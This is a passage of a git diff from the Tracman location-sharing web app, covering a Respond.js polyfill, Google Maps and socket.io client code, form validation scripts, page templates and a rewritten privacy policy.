minw: l.match(/\(\s*min\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/) && parseFloat(RegExp.$1) + (RegExp.$2 || ""),
|
||||
maxw: l.match(/\(\s*max\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/) && parseFloat(RegExp.$1) + (RegExp.$2 || "")
|
||||
})
|
||||
}
|
||||
u()
|
||||
},
|
||||
s = function() {
|
||||
var a, b = c.createElement("div"),
|
||||
e = c.body,
|
||||
f = !1;
|
||||
return b.style.cssText = "position:absolute;font-size:1em;width:1em", e || (e = f = c.createElement("body"), e.style.background = "none"), e.appendChild(b), d.insertBefore(e, d.firstChild), a = b.offsetWidth, f ? d.removeChild(e) : e.removeChild(b), a = t = parseFloat(a)
|
||||
},
|
||||
u = function(b) {
|
||||
var h = "clientWidth",
|
||||
k = d[h],
|
||||
m = "CSS1Compat" === c.compatMode && k || c.body[h] || k,
|
||||
n = {},
|
||||
o = l[l.length - 1],
|
||||
p = (new Date).getTime();
|
||||
if (b && q && i > p - q) return a.clearTimeout(r), r = a.setTimeout(u, i), void 0;
|
||||
q = p;
|
||||
for (var v in e)
|
||||
if (e.hasOwnProperty(v)) {
|
||||
var w = e[v],
|
||||
x = w.minw,
|
||||
y = w.maxw,
|
||||
z = null === x,
|
||||
A = null === y,
|
||||
B = "em";
|
||||
x && (x = parseFloat(x) * (x.indexOf(B) > -1 ? t || s() : 1)), y && (y = parseFloat(y) * (y.indexOf(B) > -1 ? t || s() : 1)), w.hasquery && (z && A || !(z || m >= x) || !(A || y >= m)) || (n[w.media] || (n[w.media] = []), n[w.media].push(f[w.rules]))
|
||||
}
|
||||
for (var C in g) g.hasOwnProperty(C) && g[C] && g[C].parentNode === j && j.removeChild(g[C]);
|
||||
for (var D in n)
|
||||
if (n.hasOwnProperty(D)) {
|
||||
var E = c.createElement("style"),
|
||||
F = n[D].join("\n");
|
||||
E.type = "text/css", E.media = D, j.insertBefore(E, o.nextSibling), E.styleSheet ? E.styleSheet.cssText = F : E.appendChild(c.createTextNode(F)), g.push(E)
|
||||
}
|
||||
},
|
||||
v = function(a, b) {
|
||||
var c = w();
|
||||
c && (c.open("GET", a, !0), c.onreadystatechange = function() {
|
||||
4 !== c.readyState || 200 !== c.status && 304 !== c.status || b(c.responseText)
|
||||
}, 4 !== c.readyState && c.send(null))
|
||||
},
|
||||
w = function() {
|
||||
var b = !1;
|
||||
try {
|
||||
b = new a.XMLHttpRequest
|
||||
} catch (c) {
|
||||
b = new a.ActiveXObject("Microsoft.XMLHTTP")
|
||||
}
|
||||
return function() {
|
||||
return b
|
||||
}
|
||||
}();
|
||||
n(), b.update = n, a.addEventListener ? a.addEventListener("resize", x, !1) : a.attachEvent && a.attachEvent("onresize", x)
|
||||
}
|
||||
})(this);
|
File diff suppressed because one or more lines are too long
|
@ -1,16 +1,13 @@
|
|||
'use strict'
|
||||
/* global alert mapuser userid disp noHeader mapKey navigator token */
|
||||
/* global alert io google $ mapuser userid disp noHeader mapKey navigator token */
|
||||
|
||||
import io from 'socket.io-client'
|
||||
import $ from 'jquery'
|
||||
import loadGoogleMapsAPI from 'load-google-maps-api'
|
||||
|
||||
// Variables
|
||||
var map, marker, elevator, newLoc
|
||||
let map, marker, elevator, newLoc
|
||||
const mapElem = document.getElementById('map')
|
||||
const socket = io('//' + window.location.hostname)
|
||||
const IDLE_TIMEOUT = 300 // 5 minutes in seconds
|
||||
var _idleSecondsCounter = 0
|
||||
let _idleSecondsCounter = 0
|
||||
|
||||
// Idle timeout listeners
|
||||
function resetIdleSecondsCounter () {
|
||||
|
@ -27,12 +24,16 @@ window.setInterval( function CheckIdleTime () {
|
|||
if (_idleSecondsCounter >= IDLE_TIMEOUT) {
|
||||
if (socket.connected) {
|
||||
console.log('Disconnecting because idle for more than',IDLE_TIMEOUT,'seconds.')
|
||||
$('#inactive-mask').show()
|
||||
$('#inactive-message').show()
|
||||
socket.disconnect()
|
||||
}
|
||||
// Connect user if disconnected
|
||||
} else {
|
||||
if (!socket.connected) {
|
||||
console.log('Reconnecting the user because they are no longer idle.')
|
||||
$('#inactive-mask').hide()
|
||||
$('#inactive-message').hide()
|
||||
socket.connect()
|
||||
}
|
||||
}
|
||||
|
@ -79,7 +80,7 @@ $(function () {
|
|||
toggleMaps(mapuser.last)
|
||||
|
||||
// Controls
|
||||
var wpid, newloc
|
||||
let wpid, newloc
|
||||
|
||||
// Set location
|
||||
$('#set-loc').click(function () {
|
||||
|
@ -92,7 +93,7 @@ $(function () {
|
|||
|
||||
// Success callback
|
||||
function (pos) {
|
||||
var newloc = {
|
||||
let newloc = {
|
||||
ts: Date.now(),
|
||||
tok: token,
|
||||
usr: userid,
|
||||
|
@ -202,13 +203,12 @@ $(function () {
|
|||
})
|
||||
|
||||
// Load google maps API
|
||||
loadGoogleMapsAPI({ key: mapKey })
|
||||
.then(function (googlemaps) {
|
||||
function initMap() {
|
||||
|
||||
// Create map
|
||||
if (disp !== '1') {
|
||||
// Create map and marker elements
|
||||
map = new googlemaps.Map(mapElem, {
|
||||
map = new google.maps.Map(mapElem, {
|
||||
center: {
|
||||
lat: mapuser.last.lat,
|
||||
lng: mapuser.last.lon
|
||||
|
@ -220,10 +220,10 @@ loadGoogleMapsAPI({ key: mapKey })
|
|||
draggable: false,
|
||||
zoom: mapuser.settings.defaultZoom,
|
||||
streetViewControl: false,
|
||||
zoomControlOptions: {position: googlemaps.ControlPosition.LEFT_TOP},
|
||||
mapTypeId: (mapuser.settings.defaultMap === 'road') ? googlemaps.MapTypeId.ROADMAP : googlemaps.MapTypeId.HYBRID
|
||||
zoomControlOptions: {position: google.maps.ControlPosition.LEFT_TOP},
|
||||
mapTypeId: (mapuser.settings.defaultMap === 'road') ? google.maps.MapTypeId.ROADMAP : google.maps.MapTypeId.HYBRID
|
||||
})
|
||||
marker = new googlemaps.Marker({
|
||||
marker = new google.maps.Marker({
|
||||
position: { lat: mapuser.last.lat, lng: mapuser.last.lon },
|
||||
title: mapuser.name,
|
||||
icon: (mapuser.settings.marker) ? '/static/img/marker/' + mapuser.settings.marker + '.png' : '/static/img/marker/red.png',
|
||||
|
@ -241,7 +241,7 @@ loadGoogleMapsAPI({ key: mapKey })
|
|||
logoDiv.innerHTML = '<a href="https://www.tracman.org/">' +
|
||||
'<img src="https://www.tracman.org/static/img/style/logo-28.png" alt="[]">' +
|
||||
"<span class='text'>Tracman</span></a>"
|
||||
map.controls[googlemaps.ControlPosition.BOTTOM_LEFT].push(logoDiv)
|
||||
map.controls[google.maps.ControlPosition.BOTTOM_LEFT].push(logoDiv)
|
||||
}
|
||||
|
||||
// Create update time block
|
||||
|
@ -250,7 +250,7 @@ loadGoogleMapsAPI({ key: mapKey })
|
|||
if (mapuser.last.time) {
|
||||
timeDiv.innerHTML = 'location updated ' + new Date(mapuser.last.time).toLocaleString()
|
||||
}
|
||||
map.controls[googlemaps.ControlPosition.RIGHT_BOTTOM].push(timeDiv)
|
||||
map.controls[google.maps.ControlPosition.RIGHT_BOTTOM].push(timeDiv)
|
||||
|
||||
// Create speed block
|
||||
if (mapuser.settings.showSpeed) {
|
||||
|
@ -268,12 +268,12 @@ loadGoogleMapsAPI({ key: mapKey })
|
|||
speedSign.appendChild(speedLabel)
|
||||
speedSign.appendChild(speedText)
|
||||
speedSign.appendChild(speedUnit)
|
||||
map.controls[googlemaps.ControlPosition.TOP_RIGHT].push(speedSign)
|
||||
map.controls[google.maps.ControlPosition.TOP_RIGHT].push(speedSign)
|
||||
}
|
||||
|
||||
// Create altitude block
|
||||
if (mapuser.settings.showAlt) {
|
||||
elevator = new googlemaps.ElevationService()
|
||||
elevator = new google.maps.ElevationService()
|
||||
const altitudeSign = document.createElement('div')
|
||||
const altitudeLabel = document.createElement('div')
|
||||
const altitudeText = document.createElement('div')
|
||||
|
@ -293,7 +293,7 @@ loadGoogleMapsAPI({ key: mapKey })
|
|||
altitudeSign.appendChild(altitudeLabel)
|
||||
altitudeSign.appendChild(altitudeText)
|
||||
altitudeSign.appendChild(altitudeUnit)
|
||||
map.controls[googlemaps.ControlPosition.TOP_RIGHT].push(altitudeSign)
|
||||
map.controls[google.maps.ControlPosition.TOP_RIGHT].push(altitudeSign)
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -306,13 +306,13 @@ loadGoogleMapsAPI({ key: mapKey })
|
|||
function getAlt (loc) {
|
||||
return new Promise(function (resolve, reject) {
|
||||
// Get elevator service
|
||||
elevator = elevator || new googlemaps.ElevationService()
|
||||
elevator = elevator || new google.maps.ElevationService()
|
||||
// Query API
|
||||
return elevator.getElevationForLocations({
|
||||
'locations': [{ lat: loc.lat, lng: loc.lon }]
|
||||
}, function (results, status, errorMessage) {
|
||||
// Success; return altitude
|
||||
if (status === googlemaps.ElevationStatus.OK && results[0]) {
|
||||
if (status === google.maps.ElevationStatus.OK && results[0]) {
|
||||
console.log('Altitude was retrieved from Google Elevations API as', results[0].elevation, 'm')
|
||||
resolve(results[0].elevation)
|
||||
|
||||
|
@ -370,7 +370,7 @@ loadGoogleMapsAPI({ key: mapKey })
|
|||
$('#timestamp').text('location updated ' + newLoc.tim)
|
||||
|
||||
// Update marker and map center
|
||||
googlemaps.event.trigger(map, 'resize')
|
||||
google.maps.event.trigger(map, 'resize')
|
||||
map.setCenter({ lat: newLoc.lat, lng: newLoc.lon })
|
||||
marker.setPosition({ lat: newLoc.lat, lng: newLoc.lon })
|
||||
|
||||
|
@ -387,6 +387,7 @@ loadGoogleMapsAPI({ key: mapKey })
|
|||
console.error(err.stack)
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Update street view
|
||||
|
@ -398,7 +399,7 @@ loadGoogleMapsAPI({ key: mapKey })
|
|||
function getStreetViewData (loc, rad, cb) {
|
||||
// Ensure that the location hasn't changed (or this is the initial setting)
|
||||
if (newLoc == null || loc.tim === newLoc.tim) {
|
||||
if (!sv) var sv = new googlemaps.StreetViewService()
|
||||
if (!sv) var sv = new google.maps.StreetViewService()
|
||||
sv.getPanorama({
|
||||
location: {
|
||||
lat: loc.lat,
|
||||
|
@ -408,11 +409,11 @@ loadGoogleMapsAPI({ key: mapKey })
|
|||
}, function (data, status) {
|
||||
switch (status) {
|
||||
// Success
|
||||
case googlemaps.StreetViewStatus.OK: {
|
||||
case google.maps.StreetViewStatus.OK: {
|
||||
cb(data)
|
||||
break
|
||||
// No results in that radius
|
||||
} case googlemaps.StreetViewStatus.ZERO_RESULTS: {
|
||||
} case google.maps.StreetViewStatus.ZERO_RESULTS: {
|
||||
// Try again with a bigger radius
|
||||
getStreetViewData(loc, rad * 2, cb)
|
||||
break
|
||||
|
@ -426,6 +427,7 @@ loadGoogleMapsAPI({ key: mapKey })
|
|||
|
||||
// Update streetview
|
||||
function updateStreetView (loc) {
|
||||
|
||||
// Calculate bearing between user and position of streetview image
|
||||
// https://stackoverflow.com/a/26609687/3006854
|
||||
function getBearing (userLoc, imageLoc) {
|
||||
|
@ -459,9 +461,8 @@ loadGoogleMapsAPI({ key: mapKey })
|
|||
'&key=' + mapKey
|
||||
)
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
// Error loading gmaps API
|
||||
}).catch(function (err) {
|
||||
console.error(err.stack)
|
||||
})
|
||||
}
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
'use strict'
|
||||
/* global $ */
|
||||
|
||||
const zxcvbn = require('zxcvbn')
|
||||
/* global $ zxcvbn */
|
||||
|
||||
function checkMatch () {
|
||||
$('#submit')
|
||||
|
@ -48,7 +46,7 @@ $(function () {
|
|||
$('#password-help').show()
|
||||
|
||||
// Check first password
|
||||
var zxcvbnResult = zxcvbn($('#p1').val())
|
||||
let zxcvbnResult = zxcvbn($('#p1').val())
|
||||
|
||||
// Less than an hour
|
||||
if (zxcvbnResult.crack_times_seconds.online_no_throttling_10_per_second < 3600) {
|
||||
|
|
|
@ -1,6 +0,0 @@
|
|||
/*! matchMedia() polyfill - Test a CSS media type/query in JS. Authors & copyright (c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas. Dual MIT/BSD license */
|
||||
/*! NOTE: If you're already including a window.matchMedia polyfill via Modernizr or otherwise, you don't need this part */
|
||||
window.matchMedia=window.matchMedia||function(a){"use strict";var c,d=a.documentElement,e=d.firstElementChild||d.firstChild,f=a.createElement("body"),g=a.createElement("div");return g.id="mq-test-1",g.style.cssText="position:absolute;top:-100em",f.style.background="none",f.appendChild(g),function(a){return g.innerHTML='­<style media="'+a+'"> #mq-test-1 { width: 42px; }</style>',d.insertBefore(f,e),c=42===g.offsetWidth,d.removeChild(f),{matches:c,media:a}}}(document);
|
||||
|
||||
/*! Respond.js v1.3.0: min/max-width media query polyfill. (c) Scott Jehl. MIT/GPLv2 Lic. j.mp/respondjs */
|
||||
(function(a){"use strict";function x(){u(!0)}var b={};if(a.respond=b,b.update=function(){},b.mediaQueriesSupported=a.matchMedia&&a.matchMedia("only all").matches,!b.mediaQueriesSupported){var q,r,t,c=a.document,d=c.documentElement,e=[],f=[],g=[],h={},i=30,j=c.getElementsByTagName("head")[0]||d,k=c.getElementsByTagName("base")[0],l=j.getElementsByTagName("link"),m=[],n=function(){for(var b=0;l.length>b;b++){var c=l[b],d=c.href,e=c.media,f=c.rel&&"stylesheet"===c.rel.toLowerCase();d&&f&&!h[d]&&(c.styleSheet&&c.styleSheet.rawCssText?(p(c.styleSheet.rawCssText,d,e),h[d]=!0):(!/^([a-zA-Z:]*\/\/)/.test(d)&&!k||d.replace(RegExp.$1,"").split("/")[0]===a.location.host)&&m.push({href:d,media:e}))}o()},o=function(){if(m.length){var b=m.shift();v(b.href,function(c){p(c,b.href,b.media),h[b.href]=!0,a.setTimeout(function(){o()},0)})}},p=function(a,b,c){var d=a.match(/@media[^\{]+\{([^\{\}]*\{[^\}\{]*\})+/gi),g=d&&d.length||0;b=b.substring(0,b.lastIndexOf("/"));var h=function(a){return a.replace(/(url\()['"]?([^\/\)'"][^:\)'"]+)['"]?(\))/g,"$1"+b+"$2$3")},i=!g&&c;b.length&&(b+="/"),i&&(g=1);for(var j=0;g>j;j++){var k,l,m,n;i?(k=c,f.push(h(a))):(k=d[j].match(/@media *([^\{]+)\{([\S\s]+?)$/)&&RegExp.$1,f.push(RegExp.$2&&h(RegExp.$2))),m=k.split(","),n=m.length;for(var o=0;n>o;o++)l=m[o],e.push({media:l.split("(")[0].match(/(only\s+)?([a-zA-Z]+)\s?/)&&RegExp.$2||"all",rules:f.length-1,hasquery:l.indexOf("(")>-1,minw:l.match(/\(\s*min\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||""),maxw:l.match(/\(\s*max\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||"")})}u()},s=function(){var a,b=c.createElement("div"),e=c.body,f=!1;return b.style.cssText="position:absolute;font-size:1em;width:1em",e||(e=f=c.createElement("body"),e.style.background="none"),e.appendChild(b),d.insertBefore(e,d.firstChild),a=b.offsetWidth,f?d.removeChild(e):e.removeChild(b),a=t=parseFloat(a)},u=function(b){var h="clientWidth",k=d[h],m="CSS1Compat"===c.compatMode&&k||c.body[h]||k,n={},o=l[l.length-1],p=(new Date).getTime();if(b&&q&&i>p-q)return a.clearTimeout(r),r=a.setTimeout(u,i),void 0;q=p;for(var v in e)if(e.hasOwnProperty(v)){var w=e[v],x=w.minw,y=w.maxw,z=null===x,A=null===y,B="em";x&&(x=parseFloat(x)*(x.indexOf(B)>-1?t||s():1)),y&&(y=parseFloat(y)*(y.indexOf(B)>-1?t||s():1)),w.hasquery&&(z&&A||!(z||m>=x)||!(A||y>=m))||(n[w.media]||(n[w.media]=[]),n[w.media].push(f[w.rules]))}for(var C in g)g.hasOwnProperty(C)&&g[C]&&g[C].parentNode===j&&j.removeChild(g[C]);for(var D in n)if(n.hasOwnProperty(D)){var E=c.createElement("style"),F=n[D].join("\n");E.type="text/css",E.media=D,j.insertBefore(E,o.nextSibling),E.styleSheet?E.styleSheet.cssText=F:E.appendChild(c.createTextNode(F)),g.push(E)}},v=function(a,b){var c=w();c&&(c.open("GET",a,!0),c.onreadystatechange=function(){4!==c.readyState||200!==c.status&&304!==c.status||b(c.responseText)},4!==c.readyState&&c.send(null))},w=function(){var b=!1;try{b=new a.XMLHttpRequest}catch(c){b=new a.ActiveXObject("Microsoft.XMLHTTP")}return function(){return b}}();n(),b.update=n,a.addEventListener?a.addEventListener("resize",x,!1):a.attachEvent&&a.attachEvent("onresize",x)}})(this);
|
|
@ -18,7 +18,7 @@ function replaceFromEndpoint (type, selector, cb) {
|
|||
|
||||
// On page load
|
||||
$(function () {
|
||||
var slugNotUnique, emailNotUnique
|
||||
let slugNotUnique, emailNotUnique
|
||||
|
||||
// Set timezone in password change link
|
||||
$('#password').attr('href', '/account/password?tz=' + new Date().getTimezoneOffset())
|
||||
|
@ -37,7 +37,7 @@ $(function () {
|
|||
basicCheck(function () { validateUniqueness(input) })
|
||||
|
||||
function basicCheck (cb) {
|
||||
var checkedCount = 0
|
||||
let checkedCount = 0
|
||||
|
||||
// Check slug
|
||||
if (!$('#slug-input').val()) {
|
||||
|
@ -74,7 +74,7 @@ $(function () {
|
|||
function validateUniqueness (input) {
|
||||
function recheckBasic () {
|
||||
if (
|
||||
$('#email-help').is(':visible') &&
|
||||
$('#email-help').is(':visible') &&
|
||||
$('#email-help').text().substring(0, 25) !== 'Unable to confirm unique '
|
||||
) {
|
||||
$('#submit-group .main')
|
||||
|
@ -113,7 +113,7 @@ $(function () {
|
|||
// Is unique
|
||||
200: function () {
|
||||
$('#' + input + '-help').hide()
|
||||
if (input === 'slug') slugNotUnique = false
|
||||
if (input === 'slug') slugNotUnique = false
|
||||
else if (input === 'email') emailNotUnique = false
|
||||
recheckBasic()
|
||||
},
|
||||
|
|
|
@ -22,7 +22,7 @@ const RUNTIME = 'runtime'
|
|||
// A list of local resources we always want to be cached.
|
||||
const PRECACHE_URLS = [
|
||||
'/',
|
||||
'/static/js/.*.bun.js',
|
||||
'/static/js/.*.min.js',
|
||||
'/static/css/.*.min.css',
|
||||
'/static/manifest.json',
|
||||
]
|
||||
|
|
|
@ -50,7 +50,7 @@ describe('Authentication', () => {
|
|||
|
||||
})
|
||||
|
||||
it(`Fails to create accounts with ${FUZZED_EMAIL_TRIES} fuzzed emails`, () => {
|
||||
it.skip(`Fails to create accounts with ${FUZZED_EMAIL_TRIES} fuzzed emails`, () => {
|
||||
|
||||
// Fuzz emails
|
||||
froth(FUZZED_EMAIL_TRIES).forEach( async (fuzzed_email) => {
|
||||
|
@ -65,6 +65,7 @@ describe('Authentication', () => {
|
|||
* the response was recieved. Ensure it's happened in a kludgy way by
|
||||
* waiting 2 seconds before asserting that the user doesn't exist
|
||||
*/
|
||||
//TODO: This just isn't working... phony emails are showing up in the db
|
||||
setTimeout( async () => {
|
||||
chai.assert.isNull( await User.findOne({
|
||||
'email': fuzzed_email
|
||||
|
|
|
@ -10,7 +10,7 @@
|
|||
|
||||
{% block javascript %}
|
||||
{{super()}}
|
||||
<script type="application/javascript" src="/static/js/.contact.bun.js"></script>
|
||||
<script type="application/javascript" src="/static/js/.contact.min.js"></script>
|
||||
{% endblock %}
|
||||
|
||||
{% block main %}
|
||||
|
|
|
@ -9,7 +9,7 @@
|
|||
|
||||
{% block javascript %}
|
||||
{{super()}}
|
||||
<script type="application/javascript" src="/static/js/.login.bun.js"></script>
|
||||
<script type="application/javascript" src="/static/js/.login.min.js"></script>
|
||||
{% endblock %}
|
||||
|
||||
{% block main %}
|
||||
|
|
|
@ -43,20 +43,24 @@
|
|||
{% endblock %}
|
||||
|
||||
{% block main %}
|
||||
<div id='inactive-mask' class='page-mask'></div>
|
||||
<div id='inactive-message' class='popup' style="display:none">
|
||||
<p>The map has been deactivated due to inactivity. Move the mouse around the page to reactivate the map. </p>
|
||||
</div>
|
||||
|
||||
{% if user and user.isNewUser %}
|
||||
<div class='page-mask'></div>
|
||||
<div id='welcome-mask' class='page-mask' style="display:block"></div>
|
||||
<div id='welcome' class='popup'>
|
||||
|
||||
<div class='topbar'>
|
||||
<h2>Welcome!</h2>
|
||||
<div class='close' onclick="$('#welcome').hide();$('.page-mask').hide();">✖️</div>
|
||||
<div class='close' onclick="$('#welcome').hide();$('#welcome-mask').hide();">✖️</div>
|
||||
</div>
|
||||
|
||||
<p>This is your map. It's publicly avaliable at <a href="{{newuserurl}}">{{newuserurl}}</a>. You can change that URL and other settings in <b><a href="/settings">settings</a></b>. Set your location by clicking <b>set</b> below. Clear it by clicking <b>clear</b>. To track your location, click <b>track</b> or download the <a href="/android">android app</a>. For more information, see the <b><a href="/help">help</a></b> page. </p>
|
||||
|
||||
<div class='buttons'>
|
||||
<a class='btn main' onclick="$('#welcome').hide();$('.page-mask').hide();">Got it!</a>
|
||||
<a class='btn main' onclick="$('#welcome').hide();$('#welcome-mask').hide();">Got it!</a>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
@ -106,18 +110,18 @@
|
|||
<!-- Variables from server-side -->
|
||||
<!-- TODO: Move to own script file, maybe with https://github.com/brooklynDev/JShare -->
|
||||
<script>
|
||||
const mapuser = JSON.parse('{{mapuser |dump|safe}}'),
|
||||
mapKey = "{{mapApi |safe}}",
|
||||
noHeader = "{{noHeader |safe}}",
|
||||
disp = "{{disp |safe}}", // 0=map, 1=streetview, 2=both
|
||||
userid = "{{user._id |safe}}",
|
||||
token = "{{user.sk32 |safe}}";
|
||||
const mapuser = JSON.parse('{{mapuser |dump|safe}}')
|
||||
const mapKey = '{{mapKey|safe}}'
|
||||
const noHeader = "{{noHeader |safe}}"
|
||||
const disp = "{{disp |safe}}" // 0=map, 1=streetview, 2=both
|
||||
const userid = "{{user._id |safe}}"
|
||||
const token = "{{user.sk32 |safe}}"
|
||||
</script>
|
||||
|
||||
<!-- Webpacked bundles -->
|
||||
<script type="application/javascript" src="/static/js/.map.bun.js"></script>
|
||||
<!--{% if user.id == mapuser.id %}-->
|
||||
<!--<script type="application/javascript" src="/static/js/.controls.bun.js"></script>-->
|
||||
<!--{% endif %}-->
|
||||
<!-- Imports -->
|
||||
<script type="application/javascript" src="https://maps.googleapis.com/maps/api/js?key={{mapKey|safe}}&callback=initMap"
|
||||
async defer></script>
|
||||
<script type="application/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.0.4/socket.io.slim.js" integrity="sha256-jniDwC1PC9OmGoyPxA9VpGvgwDYyxsMqu5Q4OrF5wNY=" crossorigin="anonymous"></script>
|
||||
<script type="application/javascript" src="/static/js/.map.min.js"></script>
|
||||
|
||||
{% endblock %}
|
||||
|
|
|
@ -9,14 +9,15 @@
|
|||
|
||||
{% block javascript %}
|
||||
{{super()}}
|
||||
<script type="application/javascript" src="/static/js/.password.bun.js"></script>
|
||||
<script type="application/javascript" src="/static/js/lib/.zxcvbn.min.js"></script>
|
||||
<script type="application/javascript" src="/static/js/.password.min.js"></script>
|
||||
{% endblock %}
|
||||
|
||||
{% block main %}
|
||||
<section class='container'>
|
||||
|
||||
|
||||
<h1>Set Password</h1>
|
||||
|
||||
|
||||
<form id='password-form' role="form" method="post">
|
||||
<input type="hidden" name="_csrf" value="{{csrfToken}}">
|
||||
<style>
|
||||
|
@ -33,9 +34,9 @@
|
|||
flex-wrap: wrap;
|
||||
}
|
||||
</style>
|
||||
|
||||
|
||||
<p>Your password must be at least 8 characters long. You can use any letter, number, symbol, emoji, or spaces. Your password will be checked using <a href="https://github.com/dropbox/zxcvbn">zxcvbn</a>. All passwords are stored on the server as salted hashes. </p>
|
||||
|
||||
|
||||
<div class='form-group' style="flex-wrap:wrap">
|
||||
<span title="Enter your new password here" style="flex-grow:1; max-width:70vw">
|
||||
<input id='p1' class='form-control password' name="password" type="password" placeholder="enter password" minlength="8" maxlength="160">
|
||||
|
@ -46,14 +47,14 @@
|
|||
<label for="show" style="width:100%; text-align:center;">show</label>
|
||||
</span>
|
||||
</div>
|
||||
|
||||
|
||||
<p id='password-help' title="Your passwords are checked using zxcvbn. "></p>
|
||||
|
||||
|
||||
<div id='submit-group' class='form-group flexbox' style="justify-content:space-around">
|
||||
<input id='submit' class='btn main' style="min-width:50%" type="submit" value="Save" title="You need to enter a password first. " disabled>
|
||||
</div>
|
||||
|
||||
|
||||
</form>
|
||||
|
||||
|
||||
</section>
|
||||
{% endblock %}
|
||||
|
|
|
@ -2,21 +2,130 @@
|
|||
{% block title %}{{super()}} | Privacy Policy{% endblock %}
|
||||
|
||||
{% block main %}
|
||||
<section class='container'>
|
||||
|
||||
<h2>Privacy Policy</h2>
|
||||
|
||||
<p>In lieu of legalease, which I don't speak, here is a quick rundown of what Tracman does with your data (such as location). </p>
|
||||
|
||||
<h3 id='location-history'>Location history</h3>
|
||||
|
||||
<p>Your location is saved on the database as long as you have it "set" or "tracking". If you "clear" the data, it will be deleted from the database too. This doesn't mean all copies are destroyed. Our servers keep occasional backups, and caches could exist on other servers (google index, wayback archive, etc). </p>
|
||||
|
||||
<p>This means that all public access to your location is essentially deleted when you clear it. But anyone could record your location while it's publicly available and rebroadcast it. Tracman doesn't store location histories (except as mentioned above), but histories may exist elsewhere! If you have (or plan to have) trouble with the law, don't use Tracman. Authorities have easy access to those histories. </p>
|
||||
|
||||
<h3 id='email'>Email addresses</h3>
|
||||
|
||||
<p>Tracman stores email addresses so we can contact users for important stuff (urgent security updates, deletion requests, lost passwords). We will never subscribe you to anything else by default. </p>
|
||||
|
||||
</section>
|
||||
<section class='container'>
|
||||
|
||||
<h2>Privacy Policy</h2>
|
||||
|
||||
<p>This privacy policy has been compiled to better serve those who are concerned with how their 'Personally Identifiable Information' (PII) is being used online. PII, as described in U.S. privacy law and information security, is information that can be used on its own or with other information to identify, contact, or locate a single person, or to identify an individual in context. Please read this privacy policy carefully to get a clear understanding of how your Personally Identifiable Information is collected, used, protected, or otherwise handled in accordance with this website and app.</p>
|
||||
|
||||
<h3 id='personal-info'>Personal Information</h3>
|
||||
|
||||
<h4 id='what-personal-info'>What personal information is collected from the people that use Tracman?</h3>
|
||||
|
||||
<p>When registering an account on Tracman, as appropriate, you may be asked to enter your name, or email address, or other details to help you with your experience. When using the website or app to update your location, your location will also be collected, obviously. </p>
|
||||
|
||||
<h4 id='when-collected'>When is your information collected?</h3>
|
||||
|
||||
<p>Tracman collects information from you when you register on the site or enter information on the site, duh. </p>
|
||||
|
||||
<h4 id='how-use-info'>How is your information used?</h3>
|
||||
|
||||
<ul>
|
||||
<li>Vulnerability scanning and/or scanning to PCI standards is used.</li>
|
||||
<li>An external PCI compliant payment gateway handles all credit card transactions.</li>
|
||||
<li>Malware scanning is not used.</li>
|
||||
</ul>
|
||||
|
||||
<p>Your personal information is contained behind secured networks and is only accessible by a limited number of people who have special access rights to such systems, and are required to keep the information confidential. In addition, all sensitive information you supply is encrypted via Secure Socket Layer (SSL) technology. All passwords are hashed and salted in a secure database. </p>
|
||||
|
||||
<p>A variety of security measures are implemented when a user enters, submits, or accesses their information to maintain the safety of your personal information.</p>
|
||||
|
||||
<p>All transactions are processed through a gateway provider and are not stored or processed on Tracman servers.</p>
|
||||
|
||||
<h3 id='cookies'>Cookies</h3>
|
||||
|
||||
<h4 id='are-cookies-used'>Are cookies used?</h3>
|
||||
|
||||
<p>Yes. Cookies are small files that a site or its service provider transfers to your computer's hard drive through your Web browser (if you allow it) that enables the site's or service provider's systems to recognize your browser and capture and remember certain information.</p>
|
||||
|
||||
<p>Tracman uses cookies to maintain account sessions so users don't have to log in when using the same computer.</p>
|
||||
|
||||
<p>You can choose to have your computer warn you each time a cookie is being sent, or you can choose to turn off all cookies. You do this through your browser settings. Since browser is a little different, look at your browser's help menu to learn the correct way to modify your cookie settings.</p>
|
||||
|
||||
<h4 id='if-cookies-disabled'>If users disable cookies in their browser:</h4>
|
||||
|
||||
<p>Login information will not be saved in the user's browser and that user will be required to log in on every page that requires an account.</p>
|
||||
|
||||
<h3 id='third-parties'>Third Parties</h3>
|
||||
|
||||
<h4 id='third-party-disclosure'>Third-party disclosure</h4>
|
||||
|
||||
<p>We do not sell, trade, or otherwise transfer to outside parties your Personally Identifiable Information.</p>
|
||||
|
||||
<h4 id='third-party-links'>Third-party links</h4>
|
||||
|
||||
<p>We do not include or offer third-party products or services on our website.</p>
|
||||
|
||||
<h4>Google</h4>
|
||||
|
||||
<p>Tracman, along with third-party vendors such as Google, use first-party cookies (such as the Google Analytics cookies) or other third-party identifiers together to compile data regarding user interactions this website.</p>
|
||||
|
||||
<h3 id='ca-coppa'>California Online Privacy Protection Act</h3>
|
||||
|
||||
<p>CalOPPA is the first state law in the nation to require commercial websites and online services to post a privacy policy. The law's reach stretches well beyond California to require any person or company in the United States (and conceivably the world) that operates websites collecting Personally Identifiable Information from California consumers to post a conspicuous privacy policy on its website stating exactly the information being collected and those individuals or companies with whom it is being shared. See more at: <a href="http://consumercal.org/california-online-privacy-protection-act-caloppa/#sthash.0FdRbT51.dpuf" target="_blank">http://consumercal.org/california-online-privacy-protection-act-caloppa/#sthash.0FdRbT51.dpuf</a></p>
|
||||
|
||||
<h4 id='coppa-agreements'>According to CalOPPA, we agree to the following:</h4>
|
||||
|
||||
<ul>
|
||||
<li>Users can visit this site anonymously.</li>
|
||||
<li>A link to this privacy policy is available on the <a href="/">Tracman homepage</a>, and in the footer of most other pages.</li>
|
||||
<li>The Privacy Policy link includes the word 'Privacy' and can easily be found in the footer of the homepage and most other pages.</li>
|
||||
</ul>
|
||||
|
||||
<h4>Changes to the Privacy Policy</h4>
|
||||
|
||||
